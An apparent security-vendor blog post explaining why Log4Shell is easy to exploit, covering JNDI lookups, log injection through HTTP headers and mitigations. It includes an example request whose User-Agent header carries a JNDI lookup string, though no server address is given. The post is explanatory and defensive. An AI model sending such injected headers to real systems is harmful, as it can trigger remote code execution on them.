Log4J / Log4Shell (Part 2): Why so easy to exploit


Remote Code Execution (RCE)

First, let’s clarify why this vulnerability – at least its more dangerous variants – is so critical.

For an attacker, the most powerful action is to be able to run any code that they want in the target system. That’s exactly what an RCE vulnerability allows them to do.

In Log4Shell this type of attack is possible because of an “advanced” feature in the Log4j mechanism. When writing logs with Log4j, a developer can insert some special instructions in the text being logged. Those instructions are wrapped in a specific tag (“${…}”) and tell Log4j to replace the whole tag with a value obtained from the instructions inside the tag.

Most of the time these instructions just tell Log4j to use a value from the execution environment – process ID, memory, etc. – which can be useful when analysing the logs for troubleshooting. So, it is basically a string interpolation mechanism. However, it also allows the developer to fetch values stored in a remote LDAP server using the JNDI API, e.g.:


This doesn’t sound too bad if it wasn’t for the fact that JNDI can be tricked into fetching code from the LDAP server and running it locally – while it’s trying to resolve the reference inside the ${} tag.

And that’s how Log4j is potentially open to an RCE attack.

The mechanism is clearly explained in the Veracode post:

How a simple HTTP request can trigger it?

The RCE scenario explained above represents a potential weakness of the Log4j mechanism but, as long as (trusted) developers control which “instruction tags” go into the logs, it doesn’t have to be exposed to external actors.

This is where the HTTP request comes into play. Not because it has some dangerous features, but because most services processing HTTP requests have a habit of logging all, or most of, the details of the request itself. That’s where pieces of text that are not under the developers’ control get handled by Log4j; including the processing of the special instruction tags. If you can include those tags in the HTTP request, then they will probably be written to a log at some point during the processing of the request. And it’s very easy to make any string part of the HTTP request without affecting the request itself; for example, using custom headers.

GET / HTTP/1.1
User-Agent: ${jndi:ldap://}

Are there other simple attack vectors?

Unfortunately, yes. This vulnerability can be exploited just by getting Log4j to write logs with text controlled by the attacker. Any mechanism that allows external users to “inject” text into an application are potential attack vectors, and that’s what most applications are there for!

Now, most user input doesn’t ever get written to a log, but quite a bit of the metadata that comes with that input is logged, either as a matter of course or as a response to an error.

HTTP requests, email details, data input into a form, “hidden” data sent along with forms, etc., all can be written to a Log4j log at some point. Some of them with more frequency than others, but attackers just need to try different avenues until they find a vulnerable path.

Some good news

But it’s not all doom and gloom. Yes, this is a very dangerous vulnerability and all organisations need to ensure they scan their systems, but there are several actions that can mitigate and/or eliminate the vulnerability.

Given that the Log4Shell attack mechanism relies on a number of steps working in a specific manner, there are “breakpoints” at with the attack can be foiled:

  • Block or “sanitise” external inputs. This is a general application security rule that is systematically used to prevent malicious code injections in SQL and Javascript; however, it’s not that common to check for the Log4j tags.
  • Disable or update Log4j across your platforms. This is the best approach in the long term.
  • Disable JNDI lookup. Another good action to break the attack, but it might not work for all scenarios.
  • Disable Java remote execution.

These are nicely illustrated in this diagram created Swiss Government.

The log4j JNDI attack

Other posts in this series

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Critical Alert: Discover the implications of the Lace Tempest CVE-2023-47246 vulnerability in SysAid software, exploited by the notorious ransomware group TA505 also known as cl0p. Learn path traversal flaw, Microsoft’s insights, and urgent patching advice. Stay informed on the latest in cybersecurity with Phoenix Security’s insights and solutions for mitigating this high-impact ransomware threat. Focus on your vulnerability management program and application security program
Francesco Cipollone

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

x Logo: ShieldPRO
This Site Is Protected By